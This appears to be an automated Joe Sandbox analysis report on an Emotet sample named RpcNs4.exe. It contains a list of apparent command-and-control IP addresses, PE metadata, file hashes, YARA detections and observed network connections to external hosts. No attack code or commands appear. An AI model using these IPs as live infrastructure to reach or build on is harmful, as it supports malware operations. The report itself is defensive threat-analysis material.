167.71.227.113	unknown	United States	14061	DIGITALOCEAN-ASNUS	true
54.38.143.245	unknown	France	16276	OVHFR	true
77.74.78.80	unknown	Russian Federation	31261	GARS-ASMoscowRussiaRU	true
49.243.9.118	unknown	Japan	10013	FBDCFreeBitCoLtdJP	true
8.4.9.137	unknown	United States	3356	LEVEL3US	true
60.125.114.64	unknown	Japan	17676	GIGAINFRASoftbankBBCorpJP	true
113.160.248.110	unknown	Viet Nam	45899	VNPT-AS-VNVNPTCorpVN	true
79.133.6.236	unknown	Finland	3238	ALCOMFI	true
189.150.209.206	unknown	Mexico	8151	UninetSAdeCVMX	true
58.27.215.3	unknown	Pakistan	38264	WATEEN-IMS-PK-AS-APNationalWiMAXIMSenvironmentPK	true
185.80.172.199	unknown	Azerbaijan	39232	UNINETAZ	true
74.208.173.91	unknown	United States	8560	ONEANDONE-ASBrauerstrasse48DE	true
41.185.29.128	unknown	South Africa	36943	GridhostZA	true
223.135.30.189	unknown	Japan	2527	SO-NETSo-netEntertainmentCorporationJP	true
139.59.61.215	unknown	Singapore	14061	DIGITALOCEAN-ASNUS	true
91.75.75.46	unknown	United Arab Emirates	15802	DU-AS1AE	true
50.116.78.109	unknown	United States	46606	UNIFIEDLAYER-AS-1US	true
128.106.187.110	unknown	Singapore	9506	SINGTEL-FIBRESingtelFibreBroadbandSG	true
202.153.220.157	unknown	Australia	4764	WIDEBAND-AS-APAussieBroadbandAU	true
139.59.12.63	unknown	Singapore	14061	DIGITALOCEAN-ASNUS	true
115.79.195.246	unknown	Viet Nam	7552	VIETEL-AS-APViettelGroupVN	true
185.142.236.163	unknown	Netherlands	174	COGENT-174US	true
2.144.244.204	unknown	Iran (ISLAMIC Republic Of)	44244	IRANCELL-ASIR	true
182.253.83.234	unknown	Indonesia	17451	BIZNET-AS-APBIZNETNETWORKSID	true
179.5.118.12	unknown	El Salvador	14754	TelguaGT	true
91.83.93.103	unknown	Hungary	12301	INVITECHHU	true
195.201.56.70	unknown	Germany	24940	HETZNER-ASDE	true
36.91.44.183	unknown	Indonesia	17974	TELKOMNET-AS2-APPTTelekomunikasiIndonesiaID	true

Private

IP
127.0.0.1

General Information

Joe Sandbox Version:	33.0.0 White Diamond
Analysis ID:	492876
Start date:	29.09.2021
Start time:	04:13:11
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 8m 27s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	RpcNs4.exe
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	25
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal96.troj.evad.winEXE@16/5@0/88
EGA Information:	Successful, ratio: 100%
HDC Information:	Successful, ratio: 72.1% (good quality ratio 69%) Quality average: 82.8% Quality standard deviation: 26.7%
HCA Information:	Successful, ratio: 86% Number of executed functions: 39 Number of non-executed functions: 73
Cookbook Comments:	Adjust boot time Enable AMSI Found application associated with file extension: .exe
Warnings:	Show All Exclude process from analysis (whitelisted): taskhostw.exe, BackgroundTransferHost.exe, UpdateNotificationMgr.exe, backgroundTaskHost.exe Excluded IPs from analysis (whitelisted): 23.211.6.115, 23.211.4.86, 20.82.210.154, 40.112.88.60, 80.67.82.211, 80.67.82.235, 23.203.80.193, 51.124.78.146, 20.50.102.62 Excluded domains from analysis (whitelisted): fs.microsoft.com, ris-prod.trafficmanager.net, asf-ris-prod-neu.northeurope.cloudapp.azure.com, store-images.s-microsoft.com-c.edgekey.net, e1723.g.akamaiedge.net, settings-win.data.microsoft.com, iris-de-prod-azsc-neu-b.northeurope.cloudapp.azure.com, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, a1449.dscg2.akamai.net, iris-de-prod-azsc-uks.uksouth.cloudapp.azure.com, arc.msn.com, settingsfd-geo.trafficmanager.net, ris.api.iris.microsoft.com, e11290.dspg.akamaiedge.net, e12564.dspb.akamaiedge.net, go.microsoft.com, store-images.s-microsoft.com, go.microsoft.com.edgekey.net, arc.trafficmanager.net, img-prod-cms-rt-microsoft-com.akamaized.net, prod.fs.microsoft.com.akadns.net Not all processes where analyzed, report is missing behavior information Report size getting too big, too many NtOpenKeyEx calls found. Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
04:14:16	API Interceptor	2x Sleep call for process: svchost.exe modified
04:15:32	API Interceptor	1x Sleep call for process: MpCmdRun.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link
126.126.139.26	sample1.doc	Get hash	malicious	Browse
126.126.139.26	MV9tCJw8Xr.exe	Get hash	malicious	Browse
192.210.217.94	sample1.doc	Get hash	malicious	Browse
192.210.217.94	MV9tCJw8Xr.exe	Get hash	malicious	Browse
223.17.215.76	sample1.doc	Get hash	malicious	Browse
223.17.215.76	MV9tCJw8Xr.exe	Get hash	malicious	Browse
185.208.226.142	sample1.doc	Get hash	malicious	Browse
185.208.226.142	MV9tCJw8Xr.exe	Get hash	malicious	Browse

Domains

No context

ASN

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
GIGAINFRASoftbankBBCorpJP	arm	Get hash	malicious	Browse	133.121.255.44
	Le85313EpP	Get hash	malicious	Browse	126.240.223.57
	46gV91KJhQ	Get hash	malicious	Browse	220.38.228.196
	x86	Get hash	malicious	Browse	218.133.108.199
	arm	Get hash	malicious	Browse	126.32.30.5
	RaVPWTArgG	Get hash	malicious	Browse	218.178.205.12
	b2wx6oZNsC	Get hash	malicious	Browse	219.212.202.78
	mirkatclpb.x86	Get hash	malicious	Browse	126.174.103.192
	mirkatclpb.arm	Get hash	malicious	Browse	221.87.174.160
	ho4yrUrdk1	Get hash	malicious	Browse	221.77.141.3
	qJvDfzBXbs	Get hash	malicious	Browse	126.11.242.65
	uTfW1dzdIk	Get hash	malicious	Browse	60.107.73.68
	G3kV1FpdsS	Get hash	malicious	Browse	220.61.174.7
	Sht1aYGDIX	Get hash	malicious	Browse	126.184.36.243
	8u6nZbyMxl	Get hash	malicious	Browse	126.210.43.40
	TfaQUm3e4Y	Get hash	malicious	Browse	220.47.221.201
	sora.arm7	Get hash	malicious	Browse	126.27.223.210
	L3Gl0GugHo	Get hash	malicious	Browse	219.213.5.22
	Q7rLYKgTht	Get hash	malicious	Browse	126.175.55.215
	F0ZMmHZif5	Get hash	malicious	Browse	220.34.5.157
AS-COLOCROSSINGUS	Suppression .xlsx	Get hash	malicious	Browse	107.172.73.191
	Notification.xlsx	Get hash	malicious	Browse	107.172.93.32
	swift confrimation copy.xlsx	Get hash	malicious	Browse	192.3.141.149
	ORDERCONFIRMATION_00001679918.xlsx	Get hash	malicious	Browse	23.94.159.204
	suppression des suspensions.xlsx	Get hash	malicious	Browse	107.172.73.191
	rrVvnZMcFs	Get hash	malicious	Browse	23.94.26.138
	pAu4km62R9	Get hash	malicious	Browse	23.94.26.138
	kUFNxyzq7h	Get hash	malicious	Browse	23.94.26.138
	RPM.xlsx	Get hash	malicious	Browse	23.95.13.176
	OOLU2032650751.doc	Get hash	malicious	Browse	107.175.64.227
	Invoice PO.doc	Get hash	malicious	Browse	107.175.64.227
	MOQ-Request_0927210-006452.xlsx	Get hash	malicious	Browse	107.173.219.122
	RFQ_final version.xlsx	Get hash	malicious	Browse	107.173.219.122
	New Price List.xlsx	Get hash	malicious	Browse	192.227.225.173
	RFQ.xlsx	Get hash	malicious	Browse	23.94.159.207
	RFQ.xlsx	Get hash	malicious	Browse	23.94.159.207
	X86_64	Get hash	malicious	Browse	172.245.168.189
	RQcnbthZwW	Get hash	malicious	Browse	172.245.168.189
	haK4nXUWd3	Get hash	malicious	Browse	172.245.168.189
	YIjCULj55a	Get hash	malicious	Browse	172.245.168.189

JA3 Fingerprints

No context

Dropped Files

No context

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log Download File
Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	4096
Entropy (8bit):	0.5961753579683815
Encrypted:	false
SSDEEP:	6:bJtk1GaD0JOCEfMuaaD0JOCEfMKQmD7/tAl/gz2cE0fMbhEZolrRSQ2hyYIIT:boGaD0JcaaD0JwQQ7/tAg/0bjSQJ
MD5:	FEDBD07F059E293B1CD3A36CE0BF727A
SHA1:	C75214CD386425539B6F6CFD4F48F90753ECC8E7
SHA-256:	5F2FC139A11B5A3E93489883C7A89D0E8B1A4041C87A7ECCEC784845724B031F
SHA-512:	2C6E4AAEA9EFB60D669ED1E420000D09300C46718D9C113DD7A3043703C0BAADFEB9768C78FC80CB5419A1CA845E5985045D452B90EF0FFFFBC0F252CCF70386
Malicious:	false
Preview:	....E..h..(..........y............... ..1C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@........................y............&......e.f.3...w.......................3...w..................h..C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b...G............................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db Download File
Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0xa82e71d7, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.09679207472564298
Encrypted:	false
SSDEEP:	6:BOzzwl/+0XRIE11Y8TRXQlFHKrOzzwl/+0XRIE11Y8TRXQlFHK:K0+0XO4blQlFHKA0+0XO4blQlFHK
MD5:	CDEE6462BDFBADCE486062CB208FC2D9
SHA1:	8DB277B7CA8CCF9AFDA1AAB7A52FDA9FBAE4FC53
SHA-256:	7CFEB754B63AD2FB2518B163B7626B390B012D8A21773FE973F30E3923A7CC7A
SHA-512:	73DA8F7A98AAB76E4955CB961CBC688C69FB07EF9FD59DCDFAC6A1F379515E7BA1FA601572CAD8400DF8D84E45B7320BC65A767C67A132C5DF53E61478565380
Malicious:	false
Preview:	..q.... ................e.f.3...w........................&..........w.......y..h.(..............................3...w...........................................................................................................B...........@...................................................................................................... ........3...w.......................................................................................................................................................................................................................................'J!.....y..................n........y..........................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm Download File
Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.1120151278868993
Encrypted:	false
SSDEEP:	3:+G1Ev1oj8l/bJdAtiE1Tll:pQKj8t4np
MD5:	CEFA19C920301379F5EF73328CDDC635
SHA1:	C2E331B44A1FD9E196F915D0E12208220B4D7A40
SHA-256:	3874419093305358718AEF8A3E11991C90376C705A62C9599D5F0FBCA8F9D678
SHA-512:	79A5FB2F15E7C11D28D6CFBB127C4F775AC64F5CFA409FD8E486995DAC171E7BFB870CC19D6BE84567619159BAEBC07E7B197C4C83611F384AE73C8911B14E39
Malicious:	false
Preview:	H..a.....................................3...w.......y.......w...............w.......w....:O.....w..................n........y..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp Download File
Process:	C:\Windows\System32\svchost.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

C:\Windows\ServiceProfiles\LocalService\AppData\Local\Temp\MpCmdRun.log Download File
Process:	C:\Program Files\Windows Defender\MpCmdRun.exe
File Type:	data
Category:	modified
Size (bytes):	906
Entropy (8bit):	3.148114293486276
Encrypted:	false
SSDEEP:	12:58KRBubdpkoF1AG3rlsQlwAuXURk9+MlWlLehB4yAq7ejCEsQlwAuXUw:OaqdmuF3rlp+z+kWReH4yJ7MNp+Z
MD5:	19E4C16502BE85E35AE649BCC464A2FC
SHA1:	5F2C7E7EDDE9D2FB82173C8D2D475261962B6EC8
SHA-256:	DF3C8E555F788FD5070E09BE94C3C9E6D1BEEF3F1B56AC5BE54F99EEB2DAA57D
SHA-512:	04F1E4A94FA9351E3CE88A8DC62453D19FDCD211C61EC1518D40F97DEC3ACD6BE65A2BFABD8E1BA8B4E449F276C694DF8804AA5D75EFF04DD2585D351A2AACEB
Malicious:	false
Preview:	........-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.....M.p.C.m.d.R.u.n.:. .C.o.m.m.a.n.d. .L.i.n.e.:. .".C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.W.i.n.d.o.w.s. .D.e.f.e.n.d.e.r.\.m.p.c.m.d.r.u.n...e.x.e.". .-.w.d.e.n.a.b.l.e..... .S.t.a.r.t. .T.i.m.e.:. .. W.e.d. .. S.e.p. .. 2.9. .. 2.0.2.1. .0.4.:.1.5.:.3.2.........M.p.E.n.s.u.r.e.P.r.o.c.e.s.s.M.i.t.i.g.a.t.i.o.n.P.o.l.i.c.y.:. .h.r. .=. .0.x.1.....W.D.E.n.a.b.l.e.....E.R.R.O.R.:. .M.p.W.D.E.n.a.b.l.e.(.T.R.U.E.). .f.a.i.l.e.d. .(.8.0.0.7.0.4.E.C.).....M.p.C.m.d.R.u.n.:. .E.n.d. .T.i.m.e.:. .. W.e.d. .. S.e.p. .. 2.9. .. 2.0.2.1. .0.4.:.1.5.:.3.2.....-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.....

Static File Info

General
File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.227386311899768
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	RpcNs4.exe
File size:	310784
MD5:	1ed37c4a225bbd35716cf241e14541a8
SHA1:	51caf718c3d85847e9f9246b291149a0a7afb698
SHA256:	8b504e796986fbae7d1bea49c95dfad222758cca5cada56472f40a0bde41e485
SHA512:	fa54f2057b8e85c1a84307ee2325cda4393960ca81efe87e929dd5e19516e62604b9081d0964c23b2e8d97fc7a02d5b66a952dc0771a5249cf10074fa765a5e3
SSDEEP:	3072:sNzPwNwAtJKqgYLdcF7pGG7MjzQP3xswlVQN2Lxu2ntX8NUX7uFLuloc:sJPwNwAt/T2F7JcN8U2tM6iV8
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............u.U.u.U.u.U.'.U.u.U.'8U.u.U.'.U.u.Uy.,U.u.U.u.U.u.U...U.u.U..;U.u.U.'<U.u.U.upU.u.U..9U.u.URich.u.U................PE..L..

File Icon


Icon Hash:	317971b1b1b1b1b0

Static PE Info

General
Entrypoint:	0x402aec
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	32BIT_MACHINE, EXECUTABLE_IMAGE
DLL Characteristics:	TERMINAL_SERVER_AWARE, NX_COMPAT
Time Stamp:	0x5F68E28E [Mon Sep 21 17:27:42 2020 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	81f57b81eb6db8b252da01e9143dfb75

Entrypoint Preview

Instruction
call 00007F532C740C35h
jmp 00007F532C73D725h
push 00000014h
push 00434230h
call 00007F532C741453h
call 00007F532C740FCFh
movzx esi, ax
push 00000002h
call 00007F532C740BC8h
pop ecx
mov eax, 00005A4Dh
cmp word ptr [00400000h], ax
je 00007F532C73D726h
xor ebx, ebx
jmp 00007F532C73D755h
mov eax, dword ptr [0040003Ch]
cmp dword ptr [eax+00400000h], 00004550h
jne 00007F532C73D70Dh
mov ecx, 0000010Bh
cmp word ptr [eax+00400018h], cx
jne 00007F532C73D6FFh
xor ebx, ebx
cmp dword ptr [eax+00400074h], 0Eh
jbe 00007F532C73D72Bh
cmp dword ptr [eax+004000E8h], ebx
setne bl
mov dword ptr [ebp-1Ch], ebx
call 00007F532C73EC50h
test eax, eax
jne 00007F532C73D72Ah
push 0000001Ch
call 00007F532C73D847h
pop ecx
call 00007F532C73EF13h
test eax, eax
jne 00007F532C73D72Ah
push 00000010h
call 00007F532C73D836h
pop ecx
call 00007F532C740C41h
and dword ptr [ebp-04h], 00000000h
call 00007F532C74052Ch
test eax, eax
jns 00007F532C73D72Ah
push 0000001Bh
call 00007F532C73D81Ch
pop ecx
call dword ptr [004390E8h]
mov dword ptr [00438C14h], eax
call 00007F532C740C5Ch
mov dword ptr [004369BCh], eax
call 00007F532C740819h
test eax, eax
jns 00007F532C73D72Ah

Rich Headers

Programming Language:

[C++] VS2013 UPD5 build 40629
[ C ] VS2013 build 21005
[LNK] VS2013 UPD5 build 40629
[EXP] VS2013 UPD5 build 40629
[C++] VS2013 build 21005
[ASM] VS2013 build 21005
[RES] VS2013 build 21005

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x34b20	0x15c	.rdata
IMAGE_DIRECTORY_ENTRY_IMPORT	0x392b4	0x50	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x3a000	0x13d10	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x4e000	0x1bc4	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x323d8	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x39000	0x2b4	.idata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x2a1d1	0x2a200	False	0.40440699184	data	5.8183204417	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.rdata	0x2c000	0x8c7c	0x8e00	False	0.263011663732	data	3.37323787881	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x35000	0x3c20	0x1a00	False	0.244891826923	data	2.84139335758	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.idata	0x39000	0xfb9	0x1000	False	0.3642578125	data	4.6782022268	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.rsrc	0x3a000	0x13d10	0x13e00	False	0.767614976415	data	6.94887089309	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x4e000	0x207f	0x2200	False	0.650620404412	data	5.98371531894	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
RT_BITMAP	0x49378	0x1244	data	English	United States
RT_ICON	0x3a3b0	0x2e8	data	English	United States
RT_ICON	0x3a698	0x128	GLS_BINARY_LSB_FIRST	English	United States
RT_MENU	0x49320	0x54	data	English	United States
RT_STRING	0x4a5c0	0xbc	data	English	United States
RT_GROUP_ICON	0x3a7c0	0x22	data	English	United States
RT_MANIFEST	0x4a680	0x17d	XML 1.0 document text	English	United States
None	0x3a7e8	0xeb33	data	English	United States

Imports

DLL	Import
KERNEL32.dll	SetFilePointerEx, SetStdHandle, GetConsoleMode, GetConsoleCP, FlushFileBuffers, GetStringTypeW, EnumSystemLocalesW, GetUserDefaultLCID, IsValidLocale, GetLocaleInfoW, LCMapStringW, CompareStringW, GetTimeFormatW, GetDateFormatW, HeapReAlloc, WriteConsoleW, OutputDebugStringW, GetCPInfo, GetOEMCP, GetACP, IsValidCodePage, LoadLibraryExW, FreeLibrary, SetConsoleCtrlHandler, FatalAppExitA, LeaveCriticalSection, EnterCriticalSection, CreateSemaphoreW, GetModuleHandleW, GetTickCount, TlsFree, TlsSetValue, CloseHandle, LoadLibraryA, GetProcAddress, VirtualAlloc, HeapSize, GetLocalTime, HeapAlloc, RtlUnwind, GetCommandLineA, GetLastError, HeapFree, IsDebuggerPresent, IsProcessorFeaturePresent, EncodePointer, DecodePointer, RaiseException, ExitProcess, GetModuleHandleExW, AreFileApisANSI, MultiByteToWideChar, WideCharToMultiByte, GetStdHandle, WriteFile, GetModuleFileNameW, GetProcessHeap, SetLastError, GetCurrentThread, GetCurrentThreadId, GetFileType, DeleteCriticalSection, GetStartupInfoW, GetModuleFileNameA, QueryPerformanceCounter, GetCurrentProcessId, GetSystemTimeAsFileTime, GetEnvironmentStringsW, FreeEnvironmentStringsW, UnhandledExceptionFilter, SetUnhandledExceptionFilter, InitializeCriticalSectionAndSpinCount, CreateEventW, Sleep, GetCurrentProcess, TerminateProcess, TlsAlloc, TlsGetValue, CreateFileW
USER32.dll	LoadIconA, LoadCursorA, MessageBoxA, EndPaint, BeginPaint, UpdateWindow, TranslateAcceleratorA, LoadAcceleratorsA, ShowWindow, RegisterClassExA, PostQuitMessage, DispatchMessageA, TranslateMessage, GetMessageA, LoadStringA, LoadBitmapA, GetDesktopWindow, SetWindowLongA, GetWindowLongA, GetCursorPos, GetWindowRect, ReleaseDC, GetDC, TrackPopupMenu, GetSubMenu, CheckMenuItem, LoadMenuA, KillTimer, SetTimer, SetWindowPos, DestroyWindow, CreateWindowExA, DefWindowProcA
GDI32.dll	SelectObject, DeleteObject, DeleteDC, CreateCompatibleDC, BitBlt, StretchBlt

Exports

Name	Ordinal	Address
lhxXfY9mIrDZ	1	0x40103c

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source IP	Dest IP
09/29/21-04:15:05.886157	ICMP	399	ICMP Destination Unreachable Host Unreachable	108.167.150.86	192.168.2.5
09/29/21-04:15:08.898226	ICMP	399	ICMP Destination Unreachable Host Unreachable	108.167.150.86	192.168.2.5
09/29/21-04:15:14.914137	ICMP	399	ICMP Destination Unreachable Host Unreachable	108.167.150.86	192.168.2.5

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 29, 2021 04:14:34.579462051 CEST	49736	80	192.168.2.5	190.191.171.72
Sep 29, 2021 04:14:37.590918064 CEST	49736	80	192.168.2.5	190.191.171.72
Sep 29, 2021 04:14:43.591281891 CEST	49736	80	192.168.2.5	190.191.171.72
Sep 29, 2021 04:14:58.564569950 CEST	49745	8080	192.168.2.5	5.189.168.53
Sep 29, 2021 04:14:58.596065044 CEST	8080	49745	5.189.168.53	192.168.2.5
Sep 29, 2021 04:14:59.108776093 CEST	49745	8080	192.168.2.5	5.189.168.53
Sep 29, 2021 04:14:59.141755104 CEST	8080	49745	5.189.168.53	192.168.2.5
Sep 29, 2021 04:14:59.655216932 CEST	49745	8080	192.168.2.5	5.189.168.53
Sep 29, 2021 04:14:59.685148001 CEST	8080	49745	5.189.168.53	192.168.2.5
Sep 29, 2021 04:15:02.749850988 CEST	49751	7080	192.168.2.5	162.241.41.111
Sep 29, 2021 04:15:05.765048027 CEST	49751	7080	192.168.2.5	162.241.41.111
Sep 29, 2021 04:15:11.781199932 CEST	49751	7080	192.168.2.5	162.241.41.111
Sep 29, 2021 04:15:27.074985027 CEST	49785	7080	192.168.2.5	190.85.46.52
Sep 29, 2021 04:15:30.079667091 CEST	49785	7080	192.168.2.5	190.85.46.52
Sep 29, 2021 04:15:36.080301046 CEST	49785	7080	192.168.2.5	190.85.46.52
Sep 29, 2021 04:15:51.844423056 CEST	49790	7080	192.168.2.5	37.205.9.252
Sep 29, 2021 04:15:54.847382069 CEST	49790	7080	192.168.2.5	37.205.9.252
Sep 29, 2021 04:16:00.847948074 CEST	49790	7080	192.168.2.5	37.205.9.252
Sep 29, 2021 04:16:15.304163933 CEST	49793	8080	192.168.2.5	172.96.190.154
Sep 29, 2021 04:16:15.472785950 CEST	8080	49793	172.96.190.154	192.168.2.5
Sep 29, 2021 04:16:15.974430084 CEST	49793	8080	192.168.2.5	172.96.190.154
Sep 29, 2021 04:16:16.143085957 CEST	8080	49793	172.96.190.154	192.168.2.5
Sep 29, 2021 04:16:16.646538019 CEST	49793	8080	192.168.2.5	172.96.190.154
Sep 29, 2021 04:16:16.815198898 CEST	8080	49793	172.96.190.154	192.168.2.5

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 29, 2021 04:14:05.641190052 CEST	62060	53	192.168.2.5	8.8.8.8
Sep 29, 2021 04:14:05.662507057 CEST	53	62060	8.8.8.8	192.168.2.5
Sep 29, 2021 04:14:19.959433079 CEST	61805	53	192.168.2.5	8.8.8.8
Sep 29, 2021 04:14:19.976883888 CEST	53	61805	8.8.8.8	192.168.2.5
Sep 29, 2021 04:14:37.067980051 CEST	54795	53	192.168.2.5	8.8.8.8
Sep 29, 2021 04:14:37.104115963 CEST	53	54795	8.8.8.8	192.168.2.5
Sep 29, 2021 04:14:56.899835110 CEST	49557	53	192.168.2.5	8.8.8.8
Sep 29, 2021 04:14:56.932769060 CEST	53	49557	8.8.8.8	192.168.2.5
Sep 29, 2021 04:15:12.343552113 CEST	61733	53	192.168.2.5	8.8.8.8
Sep 29, 2021 04:15:12.354193926 CEST	65447	53	192.168.2.5	8.8.8.8
Sep 29, 2021 04:15:12.374015093 CEST	53	65447	8.8.8.8	192.168.2.5
Sep 29, 2021 04:15:12.379074097 CEST	53	61733	8.8.8.8	192.168.2.5
Sep 29, 2021 04:15:15.998997927 CEST	52441	53	192.168.2.5	8.8.8.8
Sep 29, 2021 04:15:16.018075943 CEST	53	52441	8.8.8.8	192.168.2.5
Sep 29, 2021 04:15:27.754755020 CEST	62176	53	192.168.2.5	8.8.8.8
Sep 29, 2021 04:15:27.780180931 CEST	53	62176	8.8.8.8	192.168.2.5
Sep 29, 2021 04:15:28.400073051 CEST	59596	53	192.168.2.5	8.8.8.8
Sep 29, 2021 04:15:28.419282913 CEST	53	59596	8.8.8.8	192.168.2.5
Sep 29, 2021 04:15:50.121165037 CEST	65296	53	192.168.2.5	8.8.8.8
Sep 29, 2021 04:15:50.153857946 CEST	53	65296	8.8.8.8	192.168.2.5
Sep 29, 2021 04:15:51.985894918 CEST	63183	53	192.168.2.5	8.8.8.8
Sep 29, 2021 04:15:52.013561010 CEST	53	63183	8.8.8.8	192.168.2.5

Code Manipulations

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

Behavior

Click to jump to process

System Behavior

Analysis Process: RpcNs4.exe PID: 5968 Parent PID: 2092

General

Start time:	04:14:12
Start date:	29/09/2021
Path:	C:\Users\user\Desktop\RpcNs4.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\Desktop\RpcNs4.exe'
Imagebase:	0x400000
File size:	310784 bytes
MD5 hash:	1ED37C4A225BBD35716CF241E14541A8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source: 00000002.00000002.256801219.00000000005F4000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source: 00000002.00000002.256746048.00000000005E0000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source: 00000002.00000002.257541494.00000000020B1000.00000020.00000001.sdmp, Author: Joe Security
Reputation:	low

Chronological Activities

Analysis Process: networkitemfactory.exe PID: 900 Parent PID: 5968

General

Start time:	04:14:14
Start date:	29/09/2021
